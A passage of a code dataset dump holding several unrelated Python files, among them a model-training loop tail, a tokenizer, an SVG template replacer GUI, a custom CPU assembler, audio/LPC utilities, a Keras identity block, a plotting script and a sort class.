args.checkpoint_every_epoch:\n            save_model_checkpoint()\n\n        logger.info(\n            f\"Eval {'pearson correlation' if args.do_regression else 'accuracy'}: {eval_score*100}%\"\n        )\n        if eval_score > args.best_eval_score:\n            args.best_eval_score = eval_score\n            args.best_eval_score_epoch = epoch\n            args.epochs_since_best_eval_score = 0\n            save_model()\n            logger.info(f\"Best acc found. Saved model to {args.output_dir}.\")\n        else:\n            args.epochs_since_best_eval_score += 1\n            if (args.early_stopping_epochs > 0) and (\n                args.epochs_since_best_eval_score > args.early_stopping_epochs\n            ):\n                logger.info(\n                    f\"Stopping early since it's been {args.early_stopping_epochs} steps since validation acc increased\"\n                )\n                break\n\n    # end of training, save tokenizer\n    try:\n        tokenizer.save_pretrained(args.output_dir)\n        logger.info(f\"Saved tokenizer {tokenizer} to {args.output_dir}.\")\n    except AttributeError:\n        logger.warn(\n            f\"Error: could not save tokenizer {tokenizer} to {args.output_dir}.\"\n        )\n\n    # Save a little readme with model info\n    write_readme(args, args.best_eval_score, args.best_eval_score_epoch)\n\n    # Save args to file\n    args_save_path = os.path.join(args.output_dir, \"train_args.json\")\n    final_args_dict = {k: v for k, v in vars(args).items() if is_writable_type(v)}\n    with open(args_save_path, \"w\", encoding=\"utf-8\") as f:\n        f.write(json.dumps(final_args_dict, indent=2) + \"\\n\")\n    logger.info(f\"Wrote training args to {args_save_path}.\")\n","sub_path":"textattack/commands/train_model/run_training.py","file_name":"run_training.py","file_ext":"py","file_size_in_byte":13112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"74049057","text":"import itertools\nimport re\n\nfrom . import document\n\n\nSPACEPTN = r' \\t\\n\\r'\nWORDPTN = r'a-zA-Z0-9'\nCTRLPTN = re.escape(''.join(map(chr, itertools.chain(range(0,8), [11,12], range(14,32), range(127,160)))))\n\n\ndef mktype(chars):\n    return re.compile(r'(^|(?<![%s]))([%s]+)($|(?![%s]))' % ((chars,)*3))\n\n\nTYPES = [(cls, type, mktype(chars)) for cls, type, chars in [\n    ('space', 'control', CTRLPTN),\n    ('space', 'space', SPACEPTN),\n    ('token', 'alnum', WORDPTN),\n    ('punct', 'punct', '^' + SPACEPTN + WORDPTN + CTRLPTN),\n]]\n\n\nclass Tokenizer(object):\n    def process(self, doc):\n        for cls, type, regex in TYPES:\n            for m in regex.finditer(doc.content):\n                doc.annotations.add(document.Annotation(cls, (m.start(2), m.end(2)), {'string':m.group(2)}))\n","sub_path":"lib/text/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"25926392","text":"# coding=utf-8\nimport os\nimport csv\nimport builtins\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\n\nfrom builtins import input\n\n#________________________________________\n#functions\n\ndef login(text):\n    global log\n    log.writelines(str(text)+\"\\r\")\n\ndef create_dir(dirName):\n    # Create output directory\n    if not os.path.exists(dirName):\n        os.mkdir(dirName)\n        login(\"Directory \" + dirName +  \" Created \")\n    else:    \n        login(\"Directory \" + dirName +  \" already exists\")\n\ndef choose_output():\n    messagebox.showinfo(\"Output\", \"Please choose where to output your files\")\n    root.filename =  filedialog.askdirectory()\n    output = os.path.join(root.filename,template.split(\".\")[0])\n    create_dir(output)\n    return output\n\ndef choose_replace(): \n    messagebox.showinfo(\"Replacement list\", \"Please choose your .CSV replacement list\")\n    root.filename =  filedialog.askopenfilename()\n    replacement_list = \"\"\n    if check_type(root.filename,\"csv\"):\n        replacement_list = root.filename\n    else:\n        messagebox.showwarning(\"Error\", \"Not a valid .CSV replacement list\")\n    return replacement_list\n    \ndef  check_type(root,type):\n    #type is .extension\n    login (\"testing file template:\" +root)\n    test = False\n    if root.endswith(\".\"+str(type)):\n        test = True\n    login(test)\n    return test\n    \n#GUI funcitons\ndef replace_text():\n    login(\"replace text in \"+str(template))\n    if template == \"\": messagebox.showwarning(\"Error\", \"No valid .SVG template selected\")\n    else:\n        output = choose_output()\n        replacement_list = choose_replace()\n        if replacement_list == \"\": messagebox.showwarning(\"Error\", \"No valid .CSV replacement list\")\n        else:\n            with open(template,\"r\") as svg:\n                with open(replacement_list,newline='') as replace_list:\n                \n                    reader = csv.DictReader(replace_list,delimiter=';')\n                    login(\"Searching for replacement\")\n\n                    #to be replaced list\n                    login(\"Replacing: \"+str(reader.fieldnames))\n                    \n                    #look for replacement\n                    text = svg.read()\n                    i=0\n                    for row in reader:\n                        i+=1\n                        login(\"row is :\"+str(row)+\"\\r\")\n                        for e in row: \n                            login(\"element is :\"+str(e)+\"\\r\")\n                            #replacing\n                            text = text.replace(\"%VAR_\"+e+\"%\", row[e])\n                            login(\"Replaced \"+e+\" by \"+row[e])\n\n                        #output\n                        out = os.path.join(output,(\"output\"+str(i)+\".svg\"))\n                        login(out)\n                        x = open(out,\"w\")\n                        x.writelines(text)\n                        x.close()\n\n                    print('text replacement complete')\n\ndef replace_color():\n    login(\"replace color in \"+str(template))\n    if template == \"\": messagebox.showwarning(\"Error\", \"No valid .SVG template selected\")\n    else:\n        output = choose_output()\n        replacement_list = choose_replace()\n        with open(template,\"r\") as svg:\n            with open(replacement_list,newline='') as replace_list:\n            \n                reader = csv.DictReader(replace_list,delimiter=';')\n                login(\"Searching for replacement\")\n\n                #to be replaced list\n                login(\"Replacing: \"+str(reader.fieldnames))\n                \n                #look for replacement\n                text = svg.read()\n                i=0\n                for row in reader:\n                    i+=1\n                    login(\"row is :\"+str(row)+\"\\r\")\n                    for e in row: \n                        login(\"element is :\"+str(e)+\"\\r\")\n                        #replacing\n                        text = text.replace(\"#\"+e, row[e])\n                        login(\"Replaced \"+e+\" by \"+row[e])\n\n                    #output\n                    out = os.path.join(output,(\"output\"+str(i)+\".svg\"))\n                    login(out)\n                    x = open(out,\"w\")\n                    x.writelines(text)\n                    x.close()\n\n                print('Color replacement complete')\n\ndef select():\n    global template\n    print (\"Please choose project SVG template\")\n    root.filename =  filedialog.askopenfilename()\n    if  check_type(root.filename,\"svg\"):\n        template = root.filename\n    else:\n        messagebox.showwarning(\"Error\", \"Not a valid .SVG template\")\n\ndef cancel():\n    log.close()\n    raise SystemExit()\n    \ndef init_gui():\n    #Tkinter GUI\n    root = tk.Tk()\n    root.title(\"Trend upgrade scanner\")\n    root.minsize(400,100)\n    root.geometry(\"480x100\")\n    \n    # create the main sections of the layout, \n    # and lay them out\n    top = tk.Frame(root)\n    bottom = tk.Frame(root)\n    top.pack(side=tk.TOP)\n    bottom.pack(side=tk.BOTTOM, fill=tk.BOTH, expand=True)\n\n    # create the widgets for the top part of the GUI,\n    # and lay them out\n    s = tk.Button(root, text=\"Select template\", wraplength=80, width=10, height=2, command=select)\n    c = tk.Button(root, text=\"Leave\", width=10, height=2, command=cancel)\n    e = tk.Button(root, text=\"Replace text\", wraplength=80, width=10, height=2, command=replace_text)\n    r = tk.Button(root, text=\"Replace color\", width=10, height=2, command=replace_color)\n    s.pack(in_=top, side=tk.LEFT)\n    e.pack(in_=top, side=tk.LEFT)\n    r.pack(in_=top, side=tk.LEFT)\n    c.pack(in_=top, side=tk.LEFT)\n\n    # create the widgets for the bottom part of the GUI,\n    # and lay them out\n    global path\n    path = tk.Label(root, text = \"...\", width=35, height=15)\n    path.pack(in_=bottom, side=tk.LEFT, fill=tk.BOTH, expand=True)\n    \n    w = tk.Label(root, text=\"Please choose SET Project file directory\")\n    w.pack()\n\n    return root\n\n\n#____________________________________________________________\n#main code\nglobal log\n    \nlog = open(\"log.txt\",\"w\")\n\ntemplate = \"\"\nroot = init_gui()\nroot.mainloop()\n","sub_path":"label_gen.py","file_name":"label_gen.py","file_ext":"py","file_size_in_byte":6078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"129386848","text":"import sys\n\ntranslator = [\n    { # Load Byte\n        \"name\": \"LDB\",\n        \"opcode\": \"0111\",\n        \"flags\": \"10\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Load Byte Unsigned\n        \"name\": \"LDBU\",\n        \"opcode\": \"0110\",\n        \"flags\": \"10\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Load Halfword\n        \"name\": \"LDH\",\n        \"opcode\": \"0111\",\n        \"flags\": \"01\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Load Halfword Unsigned\n        \"name\": \"LDHU\",\n        \"opcode\": \"0110\",\n        \"flags\": \"01\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Load Word\n        \"name\": \"LD\",\n        \"opcode\": \"0111\",\n        \"flags\": \"00\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Load Float\n        \"name\": \"LDF\",\n        \"opcode\": \"0111\",\n        \"flags\": \"11\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Store Byte\n        \"name\": \"STB\",\n        \"opcode\": \"1000\",\n        \"flags\": \"10\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Store Halfword\n        \"name\": \"STH\",\n        \"opcode\": \"1000\",\n        \"flags\": \"01\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Store Word\n        \"name\": \"ST\",\n        \"opcode\": \"1000\",\n        \"flags\": \"00\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Store Float\n        \"name\": \"STF\",\n        \"opcode\": \"1000\",\n        \"flags\": \"11\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Move Integer 2 FP\n        \"name\": \"MI2F\",\n        \"opcode\": \"0100\",\n        \"flags\": \"01\",\n        \"type\": 1,\n        \"subtype\": 1\n    },\n    { # Move FP 2 Integer\n        \"name\": \"MF2I\",\n        \"opcode\": \"0100\",\n        \"flags\": \"00\",\n        \"type\": 1,\n        \"subtype\": 1\n    },\n    { # Addition\n        \"name\": \"ADD\",\n        \"opcode\": \"0000\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Add immediate\n        \"name\": \"ADDI\",\n        \"opcode\": \"0000\",\n        \"flags\": \"01\",\n        \"type\": 1,\n        \"subtype\": 2\n    },\n    { # Substraction\n        \"name\": \"SUB\",\n        \"opcode\": \"0000\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000001\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Multiplication\n        \"name\": \"MULT\",\n        \"opcode\": \"0000\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000010\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Division\n        \"name\": \"DIV\",\n        \"opcode\": \"0000\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000011\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # And\n        \"name\": \"AND\",\n        \"opcode\": \"0001\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Or\n        \"name\": \"OR\",\n        \"opcode\": \"0001\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000001\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Xor\n        \"name\": \"XOR\",\n        \"opcode\": \"0001\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000010\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Negate\n        \"name\": \"NEG\",\n        \"opcode\": \"0001\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000011\",\n        \"type\": 0,\n        \"subtype\": 1\n    },\n    { # Not\n        \"name\": \"NOT\",\n        \"opcode\": \"0001\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000100\",\n        \"type\": 0,\n        \"subtype\": 1\n    },\n    { # Integer to 7seg\n        \"name\": \"I2SS\",\n        \"opcode\": \"1111\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 1\n    },\n    { # Load High part register\n        \"name\": \"LHI\",\n        \"opcode\": \"0010\",\n        \"flags\": \"00\",\n        \"type\": 1,\n        \"subtype\": 3\n    },\n    { # Load Low part register\n        \"name\": \"LLO\",\n        \"opcode\": \"0010\",\n        \"flags\": \"01\",\n        \"type\": 1,\n        \"subtype\": 3\n    },\n    { # Shift Left\n        \"name\": \"SL\",\n        \"opcode\": \"0011\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Shift Right (Logical)\n        \"name\": \"SR\",\n        \"opcode\": \"0011\",\n        \"flags\": \"01\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Shift Right (Arithmetical)\n        \"name\": \"SRA\",\n        \"opcode\": \"0011\",\n        \"flags\": \"01\",\n        \"flags2\": \"00000000001\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Compare equality\n        \"name\": \"EQU\",\n        \"opcode\": \"0101\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Compare greateness\n        \"name\": \"CMP\",\n        \"opcode\": \"0101\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000001\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Compare lowerness\n        \"name\": \"LOT\",\n        \"opcode\": \"0101\",\n        \"flags\": \"00\",\n        \"flags2\": \"00000000010\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Float addition\n        \"name\": \"FADD\",\n        \"opcode\": \"0000\",\n        \"flags\": \"10\",\n        \"flags2\": \"00000000000\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Float substraction\n        \"name\": \"FSUB\",\n        \"opcode\": \"0000\",\n        \"flags\": \"10\",\n        \"flags2\": \"00000000001\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Float multiplication\n        \"name\": \"FMULT\",\n        \"opcode\": \"0000\",\n        \"flags\": \"10\",\n        \"flags2\": \"00000000010\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Float division\n        \"name\": \"FDIV\",\n        \"opcode\": \"0000\",\n        \"flags\": \"10\",\n        \"flags2\": \"00000000011\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Float “greater than” comp.\n        \"name\": \"FGRT\",\n        \"opcode\": \"0101\",\n        \"flags\": \"10\",\n        \"flags2\": \"00000000001\",\n        \"type\": 0,\n        \"subtype\": 0\n    },\n    { # Branch if equal\n        \"name\": \"BEQ\",\n        \"opcode\": \"1101\",\n        \"flags\": \"00\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Branch if float equal\n        \"name\": \"BFEQ\",\n        \"opcode\": \"1101\",\n        \"flags\": \"10\",\n        \"type\": 1,\n        \"subtype\": 0\n    },\n    { # Jump\n        \"name\": \"JMP\",\n        \"opcode\": \"1100\",\n        \"flags\": \"00\",\n        \"type\": 2\n    },\n    { # Call\n        \"name\": \"CALL\",\n        \"opcode\": \"1100\",\n        \"flags\": \"01\",\n        \"type\": 2\n    },\n    { # Return\n        \"name\": \"RETURN\",\n        \"opcode\": \"1100\",\n        \"flags\": \"10\",\n        \"type\": 2\n    }\n]\n\ndef loadData(OriginFilename):\n\n    file = open(OriginFilename, \"r\")\n    textFull = file.read()\n    file.close()\n\n    inst = textFull.split('\\n')\n\n    return inst\n\ndef showResult(b, DestinationFilename):\n    data = \"signal Memory: STORAGE := (\\n\"\n    i = 0\n\n    for binary in b:\n        if(i < 10): data = data + str(i) + \"  => \"\n        else: data = data + str(i) + \" => \"\n        data = data + '\"' + \"\".join(binary) + '\"' + \",\\n\"\n        i += 1\n\n    if (len(instructionList) < 64):\n        data = data + \"others => (others => '0'));\"\n\n    if(DestinationFilename == None):\n        print(\"\\n\" + data)\n    else:\n        file = open(DestinationFilename, \"w\")\n        textFull = file.write(data)\n        file.close()\n    print(\"\\nAll OK\")\n\ndef getBinary(value, nBits):\n    isneg = value < 0\n    binary = list(\"0\" * nBits)\n    if (isneg): value *= -1\n\n    for i in range(nBits):\n        pot = 2**(nBits-1 - i)\n\n        if (value >= pot):\n            binary[i] = '1'\n            value -= pot\n\n    if isneg:\n        for i in range(nBits):\n            if (binary[i] == '1'): binary[i] = '0'\n            else: binary[i] = '1'\n\n        if (binary[nBits-1] == '0'): binary[nBits-1] = '1'\n        else:\n            binary[nBits-1] = '0'\n\n            i = nBits-2\n            while (i > 0 and binary[i] == '1'):\n                binary[i] = '0'\n                i -= 1\n\n            if (i != nBits): binary[i] = '1'\n\n    return binary\n\ndef getInstruction(name):\n    aux = {\"type\": -1}\n    for i in translator:\n        if i.get(\"name\") == name:\n            aux = i\n    return aux\n\ndef convertInstruction(instruction):\n    code = list(\"0\" * 32)\n    components = instruction.split(' ')\n\n    print(\"-\"*50)\n    print(\"Original instruction: \" + str(instruction))\n\n    instruction = getInstruction(components[0])\n\n    print(\"Instruction detected: \" + str(instruction))\n    print(\"Components  detected: \" + str(components))\n\n    if (instruction.get(\"type\") == 0):\n        rd = getBinary(int(components[1]), 5)\n        rs = getBinary(int(components[2]), 5)\n        if (instruction.get(\"subtype\") == 0):\n            rt = getBinary(int(components[3]), 5)\n        else:\n            rt = getBinary(0, 5)\n\n        for i in range(4): code[i] = instruction.get(\"opcode\")[i]\n        for i in range(2): code[i + 4] = instruction.get(\"flags\")[i]\n        for i in range(5): code[i + 6] = rd[i]\n        for i in range(5): code[i + 11] = rs[i]\n        for i in range(5): code[i + 16] = rt[i]\n        for i in range(11): code[i + 21] = instruction.get(\"flags2\")[i]\n\n    elif (instruction.get(\"type\") == 1):\n        rd = []\n        rs = []\n        imm = []\n        if (instruction.get(\"subtype\") == 0):\n            rd = getBinary(int(components[2]), 5)\n            rs = getBinary(int(components[1]), 5)\n            imm = getBinary(int(components[3]), 16)\n        elif (instruction.get(\"subtype\") == 1):\n            rd = getBinary(int(components[2]), 5)\n            rs = getBinary(int(components[1]), 5)\n            imm = getBinary(0, 16)\n        elif (instruction.get(\"subtype\") == 2):\n            rd = getBinary(int(components[1]), 5)\n            rs = getBinary(int(components[2]), 5)\n            imm = getBinary(int(components[3]), 16)\n        else:\n            rd = getBinary(int(components[1]), 5)\n            rs = getBinary(0, 5)\n            imm = getBinary(int(components[2]), 16)\n\n        for i in range(4): code[i] = instruction.get(\"opcode\")[i]\n        for i in range(2): code[i + 4] = instruction.get(\"flags\")[i]\n        for i in range(5): code[i + 6] = rd[i]\n        for i in range(5): code[i + 11] = rs[i]\n        for i in range(16): code[i + 16] = imm[i]\n\n    elif (instruction.get(\"type\") == 2):\n        imm = []\n        if (len(components) > 1): imm = getBinary(int(components[1]), 26)\n        else: imm = getBinary(0, 26)\n\n        for i in range(4): code[i] = instruction.get(\"opcode\")[i]\n        for i in range(2): code[i + 4] = instruction.get(\"flags\")[i]\n        for i in range(26): code[i + 6] = imm[i]\n\n    return code\n\n###################################### 02200000  0000 00 10001 00000 0000000000000000\n\nbinaries = []\n\nif (len(sys.argv) < 2):\n\tprint(\"Number of arguments given wrong!\\nUse python assembler_v2.py <code path> <result path> to obtain the result on the given path\\nUse python assembler_v2.py <code path> to obtain the result on screen.\")\nelse:\n    #Instructions loaded from the given path\n    instructionList = loadData( sys.argv[1] )\n\n    #Each instruction is converted to the binary format for the final result\n    for instruction in instructionList:\n        converted = convertInstruction(instruction)\n        print(\"\".join(converted))\n\n        binaries.append(converted[24:32])\n        binaries.append(converted[16:24])\n        binaries.append(converted[8:16])\n        binaries.append(converted[0:8])\n\n    if(len(sys.argv) == 3):\n        showResult(binaries, sys.argv[2])\n    else:\n        showResult(binaries, None)\n","sub_path":"CPU_Semi-Out-Of-Order/assembler_v2.py","file_name":"assembler_v2.py","file_ext":"py","file_size_in_byte":11380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"425488690","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 17 23:46:19 2019\n\n@author: Padamban\n\"\"\"\n\nimport os\nimport matplotlib.pyplot as plt\nimport simpleaudio as sa\nimport numpy as np\nimport scipy\nfrom scipy import signal\nfrom mpl_toolkits import mplot3d\nimport scipy.io.wavfile as wav\nimport random\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport pickle\nimport scipy.signal as sg\n\n\nclass AudioManager:\n    \n    def readAudio(self, file):\n        fs, raw_audio = wav.read(file)       \n        raw = np.array([raw_audio]).astype(float)[0]\n        return raw       \n        \n    def playOriginalAudio(self,file):\n        wave_obj = sa.WaveObject.from_wave_file(file)\n        play_obj = wave_obj.play()\n        play_obj.wait_done()\n            \n    def playSyntesizedAudio(self, syntesized):\n        Sn = syntesized\n        ply = Sn * 32767 / max(abs(Sn))\n        ply = ply.astype(np.int16)\n        play_obj = sa.play_buffer(ply, 1, 2, 8000)\n        play_obj.wait_done()\n        \n\nclass Printer:\n    \n    def __init__(self, enable):\n        self.enable = enable\n        \n    def prnt(self, tab, text, enable=0):\n        indent = \"|\"+ \" \"*int(tab) \n        if self.enable or enable:\n            print(indent+text)\n            \n    def plot(self, data, sep=False):\n        fig, ax1 = plt.subplots()\n        for i, d in enumerate(data):\n            ax = ax1.twinx() if sep and i else ax1 \n            span = range(d[3],d[3]+len(d[0]))  if len(d) == 4 else d[4]\n            ax.plot(span, d[0], d[2], label=d[1])   \n        plt.legend()\n        plt.show() \n        \n        \n        \nclass Pickle:\n    def __init__(self, folder, sTag='', lTag=''):\n        self.folder = folder\n        self.saveTag = sTag\n        self.loadTag = lTag\n\n    def path(self, name, tag=''):\n      return self.folder + '/' + tag + str(name) +'.pkl'\n    \n    def save(self, name, data, oTag=None):\n        tag = self.saveTag if  oTag==None else oTag\n        pickle_out = open( self.path(name, tag) ,\"wb\")\n        pickle.dump(data, pickle_out)\n        pickle_out.close()\n\n    def load(self, name, oTag=None):\n        tag = self.loadTag if  oTag==None else oTag\n        pickle_in = open(self.path(name, tag), 'rb')\n        data = pickle.load(pickle_in)\n        pickle_in.close()\n        return data      \n    \n    def SaveData(self, data, oTag=None):\n        self.save('raw', data.raw, oTag)\n        self.save('gain', data.gain, oTag)\n        self.save('pitch', data.pitch, oTag)\n        self.save('power', data.power, oTag)\n        self.save('lpc', data.lpc, oTag)\n\n\n    def LoadData(self, oTag=None):\n        data = SpeachData();        \n        data.raw = self.load('raw', oTag)\n        data.gain = self.load('gain', oTag)\n        data.power = self.load('power', oTag)\n        data.pitch = self.load('pitch', oTag)     \n        data.lpc = self.load('lpc', oTag)     \n        return data\n\n    \n    def SaveEncoded(self, data, oTag=None):\n        self.save('binaries', data.binaries, oTag)\n        self.save('maxgain', data.maxGain, oTag)\n\n\n    def LoadEncoded(self, oTag=None):\n        data = EncodedData();        \n        data.binaries = self.load('binaries', oTag)\n        data.maxGain = self.load('maxgain', oTag)   \n        return data\n    \n    def SaveDecoded(self, data, oTag=None):\n        self.save('qlpc', data.lpc, oTag)\n        self.save('qpitch', data.pitch, oTag)\n        self.save('qgain', data.gain, oTag)\n\n\n    def LoadDecoded(self, oTag=None):\n        data = DecodedData();        \n        data.lpc = self.load('qlpc', oTag)\n        data.gain = self.load('qgain', oTag)   \n        data.pitch = self.load('qpitch', oTag)  \n        return data\n\n    def getFileSize(self, file):\n        return os.path.getsize(file)\n\n\n\nclass Math:\n    \n    def autocorrelation(self, x) : \n        xp = x-np.mean(x)\n        f = np.fft.fft(xp)\n        p = np.array([np.real(v)**2+np.imag(v)**2 for v in f])        \n        pi = np.fft.ifft(p)\n        c = np.real(pi)[:int(x.size/2)]/np.sum(xp**2)\n        return c\n       \n    def normalize(self, d):\n        return 2*(d - np.min(d))/np.ptp(d)-1\n   \n     \nclass SpeachData:\n    raw=[]\n    pitch=[]\n    power=[]\n    lpc=[]\n    gain=[]     \n    \n\n     \nclass EncodedData:\n    binaries = ''\n    maxGain = 0\n\nclass DecodedData:\n    lpc  = []\n    gain = []\n    pitch = []\n\n\n\n    ","sub_path":"P1/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"14848109","text":"fname = input(\"Enter file name: \")\nfh = open(fname)\nlst = list()\nfor line in fh:\n    line=line.rstrip()\n    words=line.split()\n    for each in words:\n        if each not in lst:\n            lst.append(each)\nlst.sort()\nprint(lst)\n","sub_path":"words.py","file_name":"words.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"57185148","text":"#!/usr/bin/env python3\n\"\"\"\nDefines a function that builds an identity block\nusing Keras\n\"\"\"\nimport tensorflow.keras as K\n\n\ndef identity_block(A_prev, filters):\n    \"\"\"\n    Builds an identity block using Keras\n    \"\"\"\n    F11, F3, F12 = filters\n    init = K.initializers.he_normal()\n    activation = K.activations.relu\n    C11 = K.layers.Conv2D(filters=F11,\n                          kernel_size=(1, 1),\n                          padding='same',\n                          kernel_initializer=init)(A_prev)\n    Batch_Norm11 = K.layers.BatchNormalization(axis=3)(C11)\n    ReLU11 = K.layers.Activation(activation)(Batch_Norm11)\n    C3 = K.layers.Conv2D(filters=F3,\n                         kernel_size=(3, 3),\n                         padding='same',\n                         kernel_initializer=init)(ReLU11)\n    Batch_Norm3 = K.layers.BatchNormalization(axis=3)(C3)\n    ReLU3 = K.layers.Activation(activation)(Batch_Norm3)\n    C12 = K.layers.Conv2D(filters=F12,\n                          kernel_size=(1, 1),\n                          padding='same',\n                          kernel_initializer=init)(ReLU3)\n    Batch_Norm12 = K.layers.BatchNormalization(axis=3)(C12)\n    Addition = K.layers.Add()([Batch_Norm12, A_prev])\n    output = K.layers.Activation(activation)(Addition)\n    return output\n","sub_path":"supervised_learning/0x08-deep_cnns/2-identity_block.py","file_name":"2-identity_block.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"491875204","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 15 15:47:20 2019\nPlots all the concentration files inside the folders\n@author: sr802\n\"\"\"\n\nimport sys\nimport os\nimport numpy as np\nimport warnings\nimport glob\nwarnings.filterwarnings(\"ignore\")\nimport matplotlib.pyplot as plt\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../../')) #This falls into Utilities path\nimport Lammps.core_functions as cf\n\n\n# Hydrodynamic radius using kirkwood expression using poly_analysis.py on the \n# Equilibration system(See for instance the radius.dat inside \n# 6.High_concentration/6.F_sequential/E_8.0_S_1.0/Conc_dist)\n\nRh=[2.758531,2.755166] #LJ,GLJ \ncf.set_plot_appearance()\n\n\ndirectories=glob.glob('*/')\n\nname={\"u\":\"Solute\",\"v\":\"Solvent\",\"t\":\"Solution\"}\ncolors={\"u\":\"red\",\"v\":\"blue\",\"t\":\"black\"}\nltype={\"u\":\"-\",\"v\":\"-\",\"t\":\"--\"}\n\nplt.close('all')\n\nfor counter,directory in enumerate(directories):\n    files=glob.glob('%s/prof_*.dat'%directory)\n    fig,ax=plt.subplots()\n    files=sorted(files)[::-1]\n    \n    for f in files:\n        key=f.split(\"/\")[-1].split('_')[1][0]\n        print (key)\n        data=cf.read_data_file(f).values\n        plt.plot(data[:,1],data[:,3],color=colors[key],label=name[key],linestyle=ltype[key])\n        \n    plt.legend(loc='bottom right')\n    ax.set_ylabel(r'$c[\\sigma^{-3}]$')\n    ax.set_xlabel(r'$r[\\sigma]$')\n    ax.set_xlim(0,9)\n    ax.set_ylim(0,ax.get_ylim()[1])\n#    ax.axvline(x=Rh[counter], ymin=0, ymax=1,ls='-.',c='black')\n    fig.tight_layout()\n    fig.savefig('%s.pdf'%directory.split('/')[0])\n\nplt.show()","sub_path":"Lammps/PDP/Plots/concentration_distributions.py","file_name":"concentration_distributions.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"251299585","text":"class Sort:\n\n\tdef __init__(self,arr,flag):\n\t\tself.list_ = arr\n\t\tself.length = len(arr)\n\t\tif flag==\"merge\":\n\t\t\tself.mergeSort_(self.list_)\n\t\telif flag==\"insert\":\n\t\t\tself.insertionSort()\n\n\tdef insertionSort(self):\n\t\tfor i in range(1, self.length): \n\t\t\tkey = self.list_[i]  \n\t\t\tj = i-1\n\t\t\twhile j >=0 and key < self.list_[j] : \n\t\t\t\tself.list_[j+1] = self.list_[j] \n\t\t\t\tj -= 1\n\t\t\tself.list_[j+1] = key\t\t\n\n\tdef mergeSort_(self,arr):\n\t\tif len(arr) >1: \n\t\t\tmid = len(arr)//2\n\t\t\tleft = arr[:mid]\n\t\t\tright = arr[mid:]\n\n\t\t\tself.mergeSort_(left)\n\t\t\tself.mergeSort_(right)\n\t  \n\t\t\ti = j = k = 0\n\n\t\t\twhile i < len(left) and j < len(right): \n\t\t\t\tif left[i] < right[j]: \n\t\t\t\t\tarr[k] = left[i] \n\t\t\t\t\ti+=1\n\t\t\t\telse: \n\t\t\t\t\tarr[k] = right[j] \n\t\t\t\t\tj+=1\n\t\t\t\tk+=1\n\t          \n\t\t\twhile i < len(left): \n\t\t\t\tarr[k] = left[i] \n\t\t\t\ti+=1\n\t\t\t\tk+=1\n\n\t\t\twhile j < len(right): \n\t\t\t\tarr[k] = right[j] \n\t\t\t\tj+=1\n\t\t\t\tk+=1\n\n\tdef printlist(self):\n\t\tprint(*self.list_)\n\n_sort = 